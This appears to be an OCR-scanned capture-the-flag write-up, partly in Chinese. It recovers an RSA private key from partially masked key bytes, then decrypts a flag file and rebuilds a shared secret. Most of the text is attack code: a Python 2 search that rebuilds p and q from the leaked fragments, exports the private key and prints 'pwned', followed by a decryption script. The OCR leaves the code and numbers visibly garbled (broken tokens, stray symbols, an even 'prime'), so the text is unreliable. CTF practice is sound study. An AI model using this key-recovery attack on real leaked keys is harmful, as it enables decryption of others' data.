8a
4a
65:
3c:
ef:
43:
35:
d2:
13:
e9:
1c

75:
32:
7e:
bl:
68:

Qa
9a

ag:

8c
73

fc

18:
07:

oc

c3:
eb:
98:
:a5:
:3a
68:
Se:
50:

fc

05:
5f:
ef:
bb:
174

e3:
00:
ae:

5¢

4b:
160:
:76:
bf:
:75:
:2f:
42:
08:
87:
7e:
123:

2c

65:
ad:
d3:
7f:
:44:
88:
65:
:d2:
e8:
df:
d3:

9c

:d8:
od:
52:
99:
:1b:
23:
77:
ag:
7e:
f7:

80

ef:
:7d:
71:
87:
03:
:87:
71:
50:
ta2:
97:
02:
64:
cl:
di:
41:
f1:
:4b:

1c

64

72:
55:
34:
:0e:
d6:
7e:
:76:

fa

56:
de:
15:
04:
a5:
16:
13:

:b8:
7f:

6a:
f4:
54:
ba:
a3:
fe:

ec:
10:
38:
eo:
c2:
bb:
39:
67:
dc:
63:

3b:
44
7e:
6a:
f6:
58:

dd:
c9:
52:
28:
de:
31:
oc:

:A5:89:

+hd:35:

23

:R4:



s =D == e ee_meny e = e [ - c—— e —— - c——e—— - - [ - - - [

: ted: :70:14: : : :10: : :87: :51:
ea: :97:69: :52: : : : : ‘:tea: : :15:
:34: :be:11:23: : :34:14: :94: :10:
:74:87:37:e€e:81:62:ee:95: : :dc:49:dd:

: :35: :81: :fa: : : :86: : : :fb:
:93: ¢ :12: :14: :ab:76: :96: : :27:
:21: :04:01:41: :98: :ff: : :12:dc:
cd: :39:95:30: :47: :fa:ff: :34: :ad:
:52:02:fa:bc:14:22:22:48:61:62:bd:53:
72:08:cb:41:88: : : :63:91:30:fe: : :42:
87: :18:52: :39:dd: :68: :fe:06:88:81:
tae:fd: : :fb:21:37:59: :53: :fa:
:07:40:eb:33:77:51:64:10:dd: :73: :86:62:
:bf: :79: :34: :bb: :44:ff: :46:fe:90:
ef: :52:ad: : :fe: :69:18:89:bd:cd:09:46:
$74:71: @ ¢ :41:66: : :11: :25:
39:8b""")

g_ranges, gmask_msk, gmask_val= msk(""" ©0@:ce:43:ef: :76:58:17:43:31: : :32:70:
89: : :36:55:06: :79:66:78: 8 8
:8: : : ¢ : :33:bb: : :56: :66:cb:
:08: : :90:cb: : :24:fa:ca:47: : : :
:88: :83:01: :62: : : : : : :ad:ae:

¢ ¢ :58: :tec: : : :09:04:86: :05:00:
:df:50:84:81:80: :ae: :24: :94:da: :04:
ce: :ef: : :ed:be:bf:43:78: : :05:93:
08:52:05: : : : :ae: : : : :ab: :
:76:ce: : : : :19:bd:22: :ef:dc:bf:ea:
ab:78:01: : :85: : : :ea: : :fb: : :
92:66:19: : :ab: : :82: : :31: : :da:
82: :13:82:43: : :94:13:41: : : :37:
:04:56:02:87:dd: :58:27: : :24: : : :
28: : :09:14:89: : : :49:59: :16:eb:65:
:01:22: : :dd: :78: : :db:90: :ac:

:fd: :03:74: : : : :92: :00:ba:

:05""")

_, dmask_msk, dmask_val =msk("""11: : :69:62:64: : : : :15: :13:de:de:
cf: : :17: : :75: :98:42:fc: :12:15:08:
: ¢ ¢ ¢ :36: :be:25:48: : :19: :
:47:11:19: :03: :49:fc:da: :96:45:eb:

: ¢ :91: :ea: : :55:ff: :37:58:

19: : :73:40: :91:15:01:da:91:22:fd:32:

: :50: : :66: : : :42: : :ef: :
df:42: :97:306: :39: : : : : : :dc:
¢ ¢ ¢ :38: ¢ : :88:28: :05: 3
78:59:fa: :86: :19:24: : : : :da:cf:15:
39: : : : :ef:55: :ce:47: :58:89: :fb:
t24: @ :92: : :ee: : :db:67:31:ce:
:28: :72:ec:89: :04: : :50: : : : :
:37: :44: : : : :56: :38: :bb:47:bb:
66:83:99:22:07:72: : :48:52:02: : : :29:
:82:56: :67: :95: : :56:94: : :71:



bf:27:98: :54:98:26:06:87: :ae:
:80:37:60:61:ea:ef:de: :df:90:81:
70: :06:33:26: :75:fe:95: :92:
64:cc:68: :36:54: :bd:16:90:ee:60:
t41: ¢ :91: :79:58:06:50: :46:
45: :09:ca:ac:16: :27:98:
93:98:ad: :15:

15: :db:df:42:be: : : :78: :41: : :
:14: : :25:fc: :84: : : : : : :20:
da:46:01:eb:87: :12:57: :56:af:
60: :02: :18:89:63:72:ad: g
$22: :13: : :dd: :ff: :de:62:37:
:19:66: :86:02: :38: tec:14:
12: :43:93:19:65:98: : :03: : : :ef:

1Ca:07:92:22: :bb:15:eb: : : :35:
$72:29:cd: : :99: :41:06:
t43:33: :32: :54:be:92:62: :78:59:42:
79:89""")

_, dpmask_msk, dpmask_val =msk(""" :39:
:ed:97: :11:20:ba:ae:98:ad:
:10:87:ac:07: : : : :50: :70:50:52:
df:89:eb:02:
:08: : :ea: :10:fa:19: :54:45:07:

:bc:ff:33: :db:63:49:fe:52: :33: H
bf:cd:45:91: :10: :92:81:40:03: :80:
29: :30: :ed:43:64:ca: :bf:64: : :bf:

224:72:84: : :ff: : :24: :81:27:
db:23: :64: :67: :ba: : :bc:
t@e:88: : : ¢ ¢ :91: : :14:
:89:

:ba:ef:
¢t ¢ ¢ ¢t :@5: :75:52:
:be:ad:df: :02:88:00: :15:45:
cf:32: :ca: :93: :32: :40:
73:dc: : : : : :cf: : :dd: : :ca:
ee: :ca: : ¢ :49: :27: :58:53:
122:06:16:ff:62:bc: 124:fc:
df""")

_, dgmask_msk, dgmask_val =msk("""©2: :bd:
34:84:91:01:96: : :08: :32:45: :27: :

:fe: :bb:63:32:68: :51:bd:75:40: :52:52:

:78:85:fc:94: :07: :14:

15:dd: : :93: :01:
:89:bc:87:62:dc:ac:61:88: : :70: :69:
:36: : :21:08: :dc:73:
96: :58: : :46:
51: : :81: :22: : :19:
:22:49: :cc:cf:06: : :08: :76: : :45:
98: : :45: :69:13:65: : :da:54:

:ad:da:ee:fe:

19: :ee:24: :73: : : : ¢ ¢ :18:53:40:

21:25: :84:52:cd: :49:33:78: : :ed:

25:27: : : :ca: : : :ca: : :bc: :02:

2170+ +10+,2+QAEQ: =+ + B  +ITTR

:53:be:

:78:cd:05:

:ba:82: :77:
:67:53:97:ad:ee:50:44: :31:
07: :ff:01: :09: : : : : :46: : :42:

:87:93:
ted:cf: : :84:

$93:11: : :12: :56:

:27:dd:  :19:

:64:25:

:77:ca: :40: :da:

:29:ff:97:ce: : : :cb:
:10:69:41:36:ca:

:19:25:98:75:

:28:16:02:89:ce:11:fe:

:65:

:af:

:55:28:33:bc:



47: :66:bf:ff: :03: :99:ff: :df:
:46:27:45: :65:07: :48:da:dc: :80:
fg mon )

def search(K, Kp, Kq,check_level, break_step):
max_step = ©

cands = [0]

for step in range(1,break_step + 1):

#print "
max_step

",step, "( max =", max_step, ")"
max(step,max_step)

mod = 1 << (4 *step)
mask = mod - 1

cands_next = []
for p, new_digit inproduct(cands, p_ranges[-step]):
pval = (new_digit<< ((step - 1) * 4)) | p

if check_level >=1:

qval =solve_linear(pval, N & mask, mod)

if qval isNone or not check_val(qval, mask, qmask_msk, gmask_val):
continue

if check_level »>=2:

val =solve_linear(E, 1 + K * (N - pval - qval + 1), mod)

if val is Noneor not check_val(val, mask, dmask_msk, dmask_val):
continue

if check_level »>=3:

val =solve_linear(E, 1 + Kp * (pval - 1), mod)

if val is Noneor not check_val(val, mask, dpmask_msk, dpmask_val):
continue

if check_level >=4:



val =solve_linear(E, 1 + Kq * (qval - 1), mod)
if val is Noneor not check_val(val, mask, dgmask_msk, dgmask_val):
continue

if pval * qval== N:

print "Kq=", Kq

print"pwned"

print "p=", pval

print "q=", qval

p = pval

q = qval

d =invmod(E, (p - 1) * (q - 1))
coef =invmod(p, q)

fromCrypto.PublicKey import RSA
printRSA.construct(map(long, (N, E, d, p, g, coef))).exportKey()

quit()

cands_next.append(pval)

if not cands_next:
return False
cands = cands_next
return True

def check_val(val, mask,mask_msk, mask_val):
test_mask = mask_msk &mask

test_val = mask_val &mask

return val & test_mask== test_val



# K = 4695
# Kp = 15700
# Kq = 5155

for K in range(1, E):

if K % 100 == 0:

print "checking",K

if search(K, @, 0,check_level=2, break_step=20):
print "K =",K

break

for Kp in range(1, E):

if Kp % 1000 == 0O:

print "checking",Kp

if search(K, Kp, 0,check_level=3, break_step=30):
print "Kp =",Kp

break

for Kq in range(1, E):

if Kq % 100 == 0:

print "checking",Kq

if search(K, Kp, Kq,check_level=4, break_step=9999):
print "Kq =",Kq

break

BATIEF B 2Ip.gN

p =30804877236372761296348297513767908130120426767441642194038947059431749919743933282721728129660558520306
q =26038591288856688238001759665609016744197175469090080494077820415283745172609947555684568450035539489682

BATEEHE L, RSAKIN,e=65537,p,q, 1%HBRSAMEZ J7 %K fE B 7]



import gmpy2
def shuchu(mingwenstr):
ifmingwenstr[len(mingwenstr)-1]=="L":
mingwenstr=mingwenstr[2:1len(mingwenstr)-1]
else:
mingwenstr=mingwenstr[2:1len(mingwenstr)]
if notlen(mingwenstr)%2==0:
mingwenstr='0"'+mingwenstr
i=len(mingwenstr)
mingwen=""
while i>=1:
stri=mingwenstr[i-2:i]
ifint(stri,16)>33 and int(str1,16)<126:
mingwen=chr(int(str1,16))+mingwen
else:
mingwen=" "
i=i-2

+mingwen

printmingwen
p =30804877236372761296348297513767908130120426767441642194038947059431749919743933282721728129660558520306
q =26038591288856688238001759665609016744197175469090080494077820415283745172609947555684568450035539489682
n=0xc49d36a47776121285246c741d7db3cef4c3a469cdob2e8fd675e380b8e81ccee86090455673ab3232007f6a763eb610d3a274d
assert n==p*q
e=65537
fi=open("flag.txt.en","rb")
miwen=Ffi.read()
fi.close()
miwenhex=miwen.encode("hex")
miwenint=int(miwenhex,16)
d=gmpy2.invert(e, (p-1)*(q-1))
mingwen=pow(miwenint,d,n)
print len(hex(mingwen)[2:])
print shuchu(hex(mingwen))

4. Z E I E

>>> fromsecretsharing import PlaintextToHexSecretSharer
>>>flags=['1-fddc7d57594928fb74a507ab9cbadb28b92bb6e7b36a9925a105eeddac020e64 ', '3-84182314003c9690eeacd823b
>>>PlaintextToHexSecretSharer.recover_secret(flags[0:8])

'flag{25019971af01d63d4ea8ad95da516} "

>>>
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